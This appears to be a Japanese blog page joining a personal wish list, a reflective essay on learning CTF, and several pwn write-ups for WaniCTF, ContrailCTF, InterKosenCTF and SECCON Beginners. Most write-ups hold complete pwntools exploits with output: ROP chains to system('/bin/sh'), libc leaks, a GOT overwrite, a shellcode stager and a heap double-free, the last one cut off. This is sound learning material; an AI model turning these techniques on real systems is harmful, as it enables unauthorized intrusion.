2023年にやりたいことリスト

なんか今年の抱負を書くのが流行っているっぽいので、自分も書いておこうと思います。 TLの人に感化されたやつも含みます。 (※勝手に追加されます。)

  1. 一回は関東に行く
  2. 寝台列車に乗る(サンライズ瀬戸 or 出雲)
  3. 活字を読む(10冊)
  4. 簿記3級に合格する
  5. 好きな曲を10曲見つける
  6. 技術書を読む(5冊)
  7. 回らないお寿司を食べる
  8. 貯蓄を増やす(+100万)
  9. 資格を取得する(簿記を含まない)

WaniCTF 2020 Writeup

[Pwn] netcat

f:id:m412u:20201129093431p:plain
netcat

実行結果

m412u@ubuntu:~/CTF/wanictf/netcat$ nc netcat.wanictf.org 9001
congratulation!
ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 13 07:35 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  8656 Nov 13 07:34 chall
-r--r----- 1 root pwn    33 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
cat flag.txt
FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
^C
m412u@ubuntu:~/CTF/wanictf/netcat$ 

[Pwn] var rewrite

f:id:m412u:20201129094012p:plain
var rewrite

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn02"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        break *0x400964
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9002)
else:
    p = process(binfile)

payload = b""
payload += b"A" * 30
payload += p64(0x4006ce)
payload += p64(0x400b43)    # pop rdi ; ret  ;
payload += p64(0x400b74)    # /bin/sh
payload += p64(0x400746)    # system@plt

p.recvuntil("What's your name?: ")
p.sendline(payload)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/var_rewrite$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/var_rewrite/pwn02'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to var.wanictf.org on port 9002: Done
[*] Switching to interactive mode
hello AAAAAAAAAAAAAAAAAA?!
target = AAAAAAAA?

***start stack dump***
0x7fff046e0f90: 0x00007fff046e0fb0 <- rsp
0x7fff046e0f98: 0x4141414141410790
0x7fff046e0fa0: 0x4141414141414141
0x7fff046e0fa8: 0x0000003f41414141
0x7fff046e0fb0: 0x4141414141414141 <- rbp
0x7fff046e0fb8: 0x00000000004006ce <- return address
***end stack dump***

$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:43 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  9072 Nov 18 12:43 chall
-r--r----- 1 root pwn    49 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
$ exit
Segmentation fault (core dumped)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/var_rewrite$ 

[Pwn] binsh address

f:id:m412u:20201129095059p:plain
binsh address

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn03"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        break *0x400964
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9003)
else:
    p = process(binfile)

p.recvuntil("The address of \"input  \" is ")
input_addr = eval(p.recv(14))
log.info("input_addr: 0x{:08x}".format(input_addr))
base_addr = input_addr - 0x2010 
log.info("base_addr: 0x{:08x}".format(base_addr))
binsh_addr = base_addr + 0x2020
log.info("binsh_addr: 0x{:08x}".format(binsh_addr))
p.sendline(hex(binsh_addr))

sleep(0.5)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/binsh_address$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/binsh_address/pwn03'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to var.wanictf.org on port 9003: Done
[*] input_addr: 0x557885c2b010
[*] base_addr: 0x557885c29000
[*] binsh_addr: 0x557885c2b020
[*] Switching to interactive mode
.
Please input "/bin/sh" address as a hex number: Your input address is 0x557885c2b020.
Congratulation!
$ ls -al
total 32
drwxr-xr-x 1 root pwn   4096 Nov 18 12:44 .
drwxr-xr-x 1 root root  4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  13176 Nov 18 12:44 chall
-r--r----- 1 root pwn     36 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn     35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
$ 
[*] Interrupted

[Pwn] got rewriter

f:id:m412u:20201129095237p:plain
got rewriter

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn04"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        break *0x400964
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9004)
else:
    p = process(binfile)

p.recvuntil(": ")
p.sendline("0x601038")
p.recvuntil(": ")
p.sendline("0x400807")
sleep(0.5)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/got_rewriter$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/got_rewriter/pwn04'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to var.wanictf.org on port 9004: Done
[*] Switching to interactive mode
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:45 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  8864 Nov 18 12:43 chall
-r--r----- 1 root pwn    42 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/got_rewriter$ 

[Pwn] ret rewrite

f:id:m412u:20201129095900p:plain
ret rewrite

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn05"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        break *0x400964
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9005)
else:
    p = process(binfile)

payload = b""
payload += b"A" * 22
payload += p64(0x400696)
payload += p64(0x400ab3)    # pop rdi ; ret  ;
payload += p64(0x400ae4)    # /bin/sh
payload += p64(0x400700)    # system@plt

p.recvuntil("What's your name?: ")
p.sendline(payload)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/ret_rewriter$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/ret_rewriter/pwn05'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to var.wanictf.org on port 9005: Done
[*] Switching to interactive mode
Hello AAAAAAAAAA7!

***start stack dump***
0x7ffe6adafa30: 0x414141414141fb30 <- rsp
0x7ffe6adafa38: 0x0000003741414141
0x7ffe6adafa40: 0x4141414141414141 <- rbp
0x7ffe6adafa48: 0x0000000000400696 <- return address
0x7ffe6adafa50: 0x0000000000400ab3
0x7ffe6adafa58: 0x0000000000400ae4
0x7ffe6adafa60: 0x0000000000400700
***end stack dump***

$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:45 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  9024 Nov 18 12:43 chall
-r--r----- 1 root pwn    49 Nov 13 07:34 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{1earning-how-return-address-w0rks-on-st4ck}
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/ret_rewriter$ 

[Pwn] rop func call

f:id:m412u:20201129100245p:plain
rop func call

exploit

from pwn import *
from sys import argv
from time import sleep

#context.log_level = "debug"

binfile = "./pwn06"

elf = ELF(binfile)

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binfile, '''
        set follow-fork-mode parent
        break *0x400811
        break *0x400899
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("var.wanictf.org", 9006)
else:
    p = process(binfile)

payload = b""
payload += b"A" * 22
payload += p64(0x40065e)
payload += p64(0x400a53)    # pop rdi ; ret  ;
payload += p64(0x601080)    # /bin/sh
payload += p64(0x4006C0)    # system@plt

p.recvuntil("What's your name?: ")
sleep(0.5)
p.sendline(payload)

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/rop_func_call$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/rop_func_call/pwn06'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to var.wanictf.org on port 9006: Done
[*] Switching to interactive mode
hello AAAAAAAAAA7!

***start stack dump***
0x7ffc7ad7fa10: 0x4141414141410000 <- rsp
0x7ffc7ad7fa18: 0x0000003741414141
0x7ffc7ad7fa20: 0x4141414141414141 <- rbp
0x7ffc7ad7fa28: 0x000000000040065e <- return address
0x7ffc7ad7fa30: 0x0000000000400a53
0x7ffc7ad7fa38: 0x0000000000601080
0x7ffc7ad7fa40: 0x00000000004006c0
***end stack dump***

$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:45 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  8992 Nov 18 12:43 chall
-r--r----- 1 root pwn    39 Nov 18 12:43 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{learning-rop-and-x64-system-call}
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/rop_func_call$ 

[Pwn] one gadget rce

f:id:m412u:20201129100739p:plain
one gadget rce

exploit

from pwn import *
from sys import argv

#context.log_level = "debug"

binary = "./pwn07"

elf = ELF(binary)
libc = elf.libc

PUTS_OFF = 0x80aa0
SYSTEM_OFF = 0x4f550
BINSH_OFF = 0x1b3e1a

if len(argv) >= 2 and argv[1] == "d":
    p = gdb.debug(binary, '''
        set follow-fork-mode parent
        break *0x400811
        break *0x400899
        continue
    ''')
elif len(argv) >= 2 and argv[1] == "r":
    p = remote("rce.wanictf.org", 9007)
else:
    p = process(binary)

payload = b""
payload += b"A" * 22
payload += p64(0x400626)    # ret   ;
payload += p64(0x400a13)    # pop rdi ; ret  ;
payload += p64(0x601020)    # puts@got
payload += p64(0x400650)    # puts@plt
payload += p64(0x40085e)    # main_addr

p.recvuntil("What's your name?: ")
p.sendline(payload)
p.recvuntil("***end stack dump***\n\n")
sleep(0.5)

# puts_gotのリーク
puts_got = u64(p.recv(6)+b"\x00\x00")    # データの整形
log.info("puts_got: 0x{:08x}".format(puts_got))

# libcのベースアドレス特定
libc_base = puts_got - PUTS_OFF
log.info("libc_base: 0x{:08x}".format(libc_base))


# 2回目の攻撃
system_addr = libc_base + SYSTEM_OFF
log.info("system_addr: 0x{:08x}".format(system_addr))
binsh_addr = libc_base + BINSH_OFF
log.info("binsh_addr: 0x{:08x}".format(binsh_addr))

payload2 = b""
payload2 += b"A" * 22
payload2 += p64(0x400626)
payload2 += p64(0x400a13)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

sleep(1)
p.recvuntil("What's your name?: ")
p.sendline(payload2)
p.recvuntil("***end stack dump***\n\n")

p.interactive()

実行結果

m412u@ubuntu:~/CTF/wanictf/one_gadget_rce$ python3 exp.py r
[*] '/home/m412u/CTF/wanictf/one_gadget_rce/pwn07'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to rce.wanictf.org on port 9007: Done
[*] puts_got: 0x7f2d52157aa0
[*] libc_base: 0x7f2d520d7000
[*] system_addr: 0x7f2d52126550
[*] binsh_addr: 0x7f2d5228ae1a
[*] Switching to interactive mode
$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 Nov 18 12:45 .
drwxr-xr-x 1 root root 4096 Nov 13 07:35 ..
-r-xr-x--- 1 root pwn  8888 Nov 18 12:43 chall
-r--r----- 1 root pwn    43 Nov 18 12:43 flag.txt
-r-xr-x--- 1 root pwn    35 Nov 13 07:34 redir.sh
$ cat flag.txt
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
$ 
[*] Interrupted
m412u@ubuntu:~/CTF/wanictf/one_gadget_rce$ 

ContrailCTF writeup [EasyShellcode]

はじめに

 この記事では2019/12/31~2020/1/3に開催されたContrailCTFで出題されたEasyShellcodeのwriteupを紹介したいと思います.

プログラムの概要

 f:id:m412u:20200103213019p:plain

 問題を開くと上記のようなウィンドウが表示されます.ここから

$ nc 114.177.250.4 2210

で接続すると配布されているバイナリ problem が実行されているということが予想できます. 実際に接続してみると

f:id:m412u:20200103213708p:plain

Input your shellcode: と表示され入力を受け付けていることがわかります.

静的解析

ファイルの種類・セキュリティ機構

$ file ./problem 
./problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=add25425cb4bce5d87c64c10487dc62146849971, not stripped
$ checksec.sh --file ./problem 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./problem

ディスアセンブル

$ radare2 -AA ./problem 
[Cannot analyze at 0x00000700g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Cannot analyze at 0x00000700ac)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- Find expanded AES keys in memory with '/ca'
[0x00000710]> pdf @ main
            ; DATA XREF from entry0 @ 0x72d
┌ 191: int main (int argc, char **argv, char **envp);
│           0x0000081a      55             push rbp
│           0x0000081b      4889e5         mov rbp, rsp
│           0x0000081e      4883ec10       sub rsp, 0x10
│           0x00000822      64488b042528.  mov rax, qword fs:[0x28]
│           0x0000082b      488945f8       mov qword [rbp - 8], rax
│           0x0000082f      31c0           xor eax, eax
│           0x00000831      41b900000000   mov r9d, 0                  ; size_t offset
│           0x00000837      41b800000000   mov r8d, 0                  ; int fd
│           0x0000083d      b922000000     mov ecx, 0x22               ; '"' ; int flags
│           0x00000842      ba07000000     mov edx, 7                  ; int prot
│           0x00000847      be64000000     mov esi, 0x64               ; 'd' ; size_t length
│           0x0000084c      bf00000000     mov edi, 0                  ; void*addr
│           0x00000851      e85afeffff     call sym.imp.mmap           ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│           0x00000856      488945f0       mov qword [rbp - 0x10], rax
│           0x0000085a      488d3d230100.  lea rdi, str.Input_your_shellcode: ; 0x984 ; "Input your shellcode: " ; const char *format
│           0x00000861      b800000000     mov eax, 0
│           0x00000866      e855feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0000086b      488b059e0720.  mov rax, qword [obj.stdout] ; obj.__TMC_END
│                                                                      ; [0x201010:8]=0
│           0x00000872      4889c7         mov rdi, rax                ; FILE *stream
│           0x00000875      e866feffff     call sym.imp.fflush         ; int fflush(FILE *stream)
│           0x0000087a      488b45f0       mov rax, qword [rbp - 0x10]
│           0x0000087e      ba14000000     mov edx, 0x14               ; size_t nbyte
│           0x00000883      4889c6         mov rsi, rax                ; void *buf
│           0x00000886      bf00000000     mov edi, 0                  ; int fildes
│           0x0000088b      e840feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00000890      488b45f0       mov rax, qword [rbp - 0x10]
│           0x00000894      ba07000000     mov edx, 7
│           0x00000899      be64000000     mov esi, 0x64               ; 'd'
│           0x0000089e      4889c7         mov rdi, rax
│           0x000008a1      e84afeffff     call sym.imp.mprotect
│           0x000008a6      488d45f0       lea rax, [rbp - 0x10]
│           0x000008aa      4831d2         xor rdx, rdx
│           0x000008ad      4831ff         xor rdi, rdi
│           0x000008b0      4831f6         xor rsi, rsi
│           0x000008b3      4831db         xor rbx, rbx
│           0x000008b6      4831c9         xor rcx, rcx
│           0x000008b9      4d31c0         xor r8, r8
│           0x000008bc      4d31c9         xor r9, r9
│           0x000008bf      4d31d2         xor r10, r10
│           0x000008c2      4d31db         xor r11, r11
│           0x000008c5      4d31e4         xor r12, r12
│           0x000008c8      4d31ed         xor r13, r13
│           0x000008cb      4d31f6         xor r14, r14
│           0x000008ce      4d31ff         xor r15, r15
│           0x000008d1      4831ed         xor rbp, rbp
│           0x000008d4      4831e4         xor rsp, rsp
└           0x000008d7      ff20           jmp qword [rax]

プログラムの動作としては入力されたデータ(シェルコード)を実行するというものになっています. ただし,入力可能な長さが20(0x14)byteに制限されています.これでは一般的なx64向けのシェルコードではバッファが短すぎてすべてのデータを送り込むことができません.

x64でスタックバッファオーバーフローをやってみる - ももいろテクノロジー Linux/x64 - execve(/bin/sh) Shellcode (24 bytes) - Linux_x86-64 shellcode Exploit Linux/x86-64 - Execute /bin/sh - 27 bytes

そのため,stagerと呼ばれる手法を使用します.これは,入力できるバッファが少ない際にreadを行うシェルコードを先に送り込み,追加でシェル起動用のシェルコードを追加で読み込ませる方法です.

システムコール

 readシステムコールの書式は以下のようになっています.

#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);

まず,第1引数 rdifd ,第2引数 rsi*buf ,第3引数 rdxcount を格納します. そして,rax0 を格納して syscall を読んでやるとreadが呼ばれます.

システムコールコール番号の確認方法

$ ausyscall x86_64 read
read               0
pread              17
readv              19
readlink           89
readahead          187
set_thread_area    205
get_thread_area    211
readlinkat         267
preadv             295
process_vm_readv   310
preadv2            327

シェルコード読み込み部分の詳細

mov rsp, rax     ; スタックフレームを復元
mov rsi, [rax]   ; シェルコードの格納先
mov rdx, 61      ; 読み込みサイズ(パディング32byte+シェルコード29byte)
xor rax, rax     ; raxを0に(readのシステムコール番号)
syscall
jmp rsi          ; シェルコード格納先へジャンプ

エクスプロイト

from pwn import *
from sys import argv
from time import sleep

context.log_level = "INFO"
binfile = "./problem"
context.binary = binfile
elf = ELF(binfile)

p = remote("114.177.250.4", 2210)

payload = b""
payload += asm('''
mov rsp, rax
mov rsi, [rax]
mov rdx, 61
xor rax, rax
syscall
jmp rsi
''')

padding = b"\x90" * 0x20
shellcode = b""
shellcode += asm('''
xor rdx, rdx
push rdx
movabs rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
lea rax, [rdx+0x3b]
syscall
''')

p.recvuntil("Input your shellcode: ")
p.send(payload)
p.send(padding+shellcode)

p.interactive()

動作例

f:id:m412u:20200104000733p:plain

おわりに

 参加していただいた方々,本当にありがとうございます.  間違い等ございましたら連絡よろしくお願いします.

参考

inaz2.hatenablog.com

linuxjm.osdn.jp

CTFと共に一年を振り返って

はじめに

 この記事は Contrail Advent Calendar 1日目の記事です.
 今年もAdventCalendarの季節になりました.これまでは読むだけでしたが,せっかくなので書いてみようと挑戦してみました.が,技術?系以外の記事を書くのは初めてなので上手く書けてるかわかりません.また,タイトルでは1年となっていますが,4年ぐらい振り返っています.


CTFとMaru

CTFとの出会い (2015)

 僕がCTFと出会ったのは大学へ入学したのと同じ年の2015年のことでした.学部では競技プログラミングこそ講義中にアナウンスされたりしていましたが,セキュリティ関係でそのような話はありませんでした.そのため,自分で似たようなことがないのか調べている最中にCTFを見つけました.そしてすぐに「CTF for ビギナーズ in 長野」(現SECCON Beginners)へ参加しました.1 この勉強会の最後にはミニCTFがあるのですが結果は散々でした.はっきり申し上げると下から2番目でした.この年の春に大学へ入学し,プログラミングをはじめてターミナルなんかの操作も cdls がやっとだったので当然といえば当然だったのかもしれません.当時の自分にとってはかなりショックでしたが,今思えばこの経験がすべての始まりだったのかもしれません.

CTFとのお付き合い

はじめて参加した勉強会のあともCTFに対しての熱は冷めませんでした.その年(2015年)の夏休みの終わりで人間関係とかから部活を辞めていて,また何かをやめることが怖かったしなによりフラグを通すのが楽しかったのだと思います.それからというもの自分のペースで常設CTFに挑戦していきました.その中で自分は主にPwnに取り組みました.その理由として,Pwn問の中にはCのソースコードが配布される問題があります.大学でも授業ではC言語を取り扱っていたので少しは解くためのきっかけがつかめるのではないかと考えたからです.しかし,Pwnでは普段のCプログラミングではあまり注目することのない低レイヤーな部分の知識が必要となってきます.

Contrailの誕生 (2016)

 CTFtimeなどからCTFに参加するには形だけでもチームが必要な場合が多いので1人でContrailを立ち上げました.CTFTimeに残っている最古の記録はSharifCTF 7への参加なのでおそらくその頃に作成したのだと思います.ちなみにチーム名の由来はそのころ使っていたのPCの壁紙が飛行機と飛行機雲だったからです.自分のアイコンが飛べない鳥ペンギンであること,飛行機雲が空を飛ぶことへの憧れだったとか深い意味はありません.マジです.


 チームを作ったはいいものの普段は常設CTFを自分のペースで解いていました.毎週末開催される様なCTFはレベルが高すぎる+時間が圧倒的に足りないので気が向いたときに自分が納得するまで試すことができる常設CTFはとてもありがたいものでした.その中でも LSECTF とCpawCTF2には特にお世話になりました.記録 からわかるようにかなり長期間に渡って挑戦しています.Pwn(Exploit)ではソースコードが配布されるものもあるのでとっつきやすいのではないかと思います.  

再挑戦 (2017)

 2017年に「SECCON Beginners 名古屋」に参加しました.2 一応,長野のリベンジのつもりとして参加しました.3 紆余曲折ありながらも継続してきたことが良かったのかある程度の問題は解けるようになっていました.その中で解けなかった問題を勉強会の終了直後から復習しました.大学の講義中もカタカタしながら最後まで残ったRev問 のフラグは You are not beginners でした.全くの初心者からはじめてコツコツと継続したものが少し報われたような気がして嬉しかったことをいまでも覚えています.

この経験からPwnを中心に取り組んで行こうと決めて(なんで!?),前述したLSECTFなどで練習をしました.ハリネズミ本の物理本を章ごとで割いてPwnの章をいつも持ち歩いて読んでいました(作者様すみません).


新たな環境へ (2019)

 2019年の3月に大学を卒業するにあたり,様々な理由からプログラマ・ITエンジニアの様な仕事には就けなかったのでそれを期にCTFは辞めようと考えていました.でも,そのまま辞めてしまうのはもったいないと感じたので大学に全部置いて行こうと決めました.そのアウトプットとして学内でLT,勉強会を開催させていただきました.4

ContrailとMaru

 今年の春,やっぱりCTFを続けたい・気軽にCTFに関する話題で会話できればという思いからチームメンバーを募集しました.自分の想像を超えて多くの方から連絡をいただき本当に嬉しく思います.


 

チーム勉強会とMaru

 8月にチームの参加可能なメンバー+交流のある方をお誘いしてCTF勉強会を開催しました.その間はすべてのリソースをCTFへ割ける素晴らしさを感じました(またしたい).皆さんの豊富な知識や技術に圧倒されながらも,CTFに対する思いは強くなりました.偶然時期が重なって開催されたCTFでは普段では諦めてしまいそうな問題も取り組むことができました.  勉強会の雰囲気はハッシュタグ #Contrail勉強会 で検索していただくとなんとなく感じていただけるのではないかと思います.


これから

 変わらない足取りを


おわりに

 短いですが最後まで読んでいただきありがとうございます.

 チームのメンバー,TwitterなどSNSで良くして頂いている方,勉強会に協力・参加してくださった学内の関係者各位,本当にありがとうございます.この場を借りてお礼を伝えたいと思います.また,ブログ上であることお許しください.

 TwitterのDMは開放しておりますので,ご意見,ご感想,ご質問等々あれば連絡していただけると幸いです.

 次の記事は@y05h1k1ngさんの「Contrail修行日記を書きます」です.よろしくお願いします.


ONE

ONE

  • Aimer
  • J-Pop
  • ¥255
music.apple.com



  1. 参考:電算 「CTF for ビギナーズ 2015 長野」初開催に協力

  2. 参考:SECCON Beginners名古屋受付は終了しました。

  3. ブログ書きながら気づいたんですが大体2年の記念日だったんですね.(長野:2015/7/5,名古屋:2017/7/1)

  4. その際の資料はSpeakerDeckに置いてあります.

InterKosenCTF stegorop writeup

はじめに

 チームContrailとして参加しました.CTFにチームでワイワイしながら取り組むことの楽しさを実感した大会でした.ただ,自分はPwnしかわからないので後半は置物と化しており,複数のジャンルを知っていたら...と改善点もみえました.

自分はwelcome問以外だとPwnを2問通しました.fastbinの問題は適当にやってたらフラグが出てきたのでWriteupかけません.なので,stegoropについて書きたいと思います.

プログラムの概略

問題文にbrainf * ckとあったのでポインタをいじる系の問題かなと予想して取り掛かりました. しかし,実行してみると文字列の入力を受け付けてbrainf * ckに変換して出力するだけの様子.

方針

 実行してみるとわかりますが,単純にスタックベースのBOFが存在します. libcが配布されていたこともあり,いつもの通りlibcのリークにとりかかりました. 問題なくリークが行えたため,ret2vulnでmain関数に処理を戻そうとしたところで問題が発生しました. 下に示すようにmain関数終了時にlockに 1 が格納され,2度目にmain関数を呼ぶ際に 1 であると abort が発生してプログラムが終了していまいます.

f:id:m412u:20190813213309p:plain

そのため,一度目に送り込むペイロードをlibcリークとmain()の途中にあるreadに処理を飛ばすようにしました. そうすることで,ROP chainが開始し,lockを埋める 0one-gadget rceのアドレスを追加で読み込ませました.

エクスプロイトコード

from pwn import *
from sys import argv

context.log_level = "INFO"

binary = "./chall"

elf = ELF(binary)

if len(argv) >= 2 and sys.argv[1] == "r":
    p = remote("pwn.kosenctf.com", 9002)
    libc = ("./libc-2.27.so")
    PUTS_OFF = 0x809c0
else:
    p = gdb.debug(binary, '''
        break *0x400914
        break *0x4008e1
        continue
    ''')
    PUTS_OFF = 0x809c0
    
payload = b""
payload += b"A" * 112
payload += p64(0x601149+0x70)
payload += p64(0x4009b3)    # pop rdi ; ret  ;
payload += p64(0x601028)    # puts@got
payload += p64(0x400620)    # puts@plt
payload += p64(0x4005ee)    # ret ;
payload += p64(0x4008e1)    # main関数の途中
payload += p64(0x40087c)    # main関数の先頭

p.recvuntil("Input: ")
p.send(payload)

p.recvline()

puts_got = u64(p.recv(6)+b"\x00\x00")    # データの整形
log.info("puts_got: 0x{:08x}".format(puts_got))

libc_base = puts_got - PUTS_OFF
log.info("libc_base: 0x{:08x}".format(libc_base))

one_shot = libc_base + 0x4f322

payload2 = b""
payload2 += p64(0x0)
payload2 += p64(one_shot) * 0x10

p.recvuntil("Input: ")
p.send(payload2)
time.sleep(1)
p.interactive()

実行結果

f:id:m412u:20190813212320p:plain

おわりに

フラグからわかるようにStack pivotが想定解みたい. もっとPwn頑張りたい.

SECCON Beginners CTF 2019 BabyHeap Writeup

はじめに

5/26(土)〜27(日)でSECCON Beginners CTFが開催されました.自分はPwnを2問と他数問を解いて110位でした.

BabyHeapは時間内に解くことができませんでしたが,その後で自分なりに理解したため,備忘録としてまとめたいと思います.


配布されたファイル

実行ファイルとライブラリが配布されました.

  • babyheap
  • libc-2.27.so


ファイルの調査

$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped
$ checksec.sh --file babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyheap


プログラムの動作

$ ./babyheap 
Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f54f180ca00 <<<<<

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 

プレゼント

実行するとプレゼントとして_IO_2_1_stdin_のアドレスをもらえます.つまり,もらったアドレスから_IO_2_1_stdin_のオフセットを引くとライブラリのベースアドレスを入手できます.

  • _IO_2_1_stdin_のオフセットは以下の様にすることで求めることができます.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin
00000000003eba00 D _IO_2_1_stdin_
00000000003ec850 D stdin


  • 例: 0x7f54f180ca00 - 0x3eba00 = 0x7f54f1421000

MENU

  1. Alloc: mallocで0x30byteの領域を確保し,データを読み込み(※確保した領域へのアドレスを格納した変数ptrがNULLの場合のみ).
  2. Delete: mallocで確保した領域を解放(free).
  3. Wipe: mallocで確保した領域へのアドレスを格納した変数ptrをNULL
  4. Exit: プログラムを終了.


とりあえず結果

エクスプロイトコード

from pwn import *

stdin_off = 0x3eba00
one_gadget_off = 0x4f322
free_hook_off = 0x3ed8e8

s = remote("localhost", 9999)

s.recvuntil(">>>>> ")
stdin_addr = eval(s.recv(14))
info("stdin_addr: 0x{:08x}".format(stdin_addr))
libc_base = stdin_addr - stdin_off
info("libc_base: 0x{:08x}".format(libc_base))
free_hook = libc_base + free_hook_off
info("free_hook: 0x{:08x}".format(free_hook))
one_gadget = libc_base + one_gadget_off
info("one_gadget: 0x{:08x}".format(one_gadget))

# step1: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline("AAAAAAAA")

# step2: free(1回目)
s.recvuntil("> ")
s.sendline("2")

# step3: free(2回目)
s.recvuntil("> ")
s.sendline("2")

# step4: wipe
s.recvuntil("> ")
s.sendline("3")

# step5: alloc
s.recvuntil("> ")
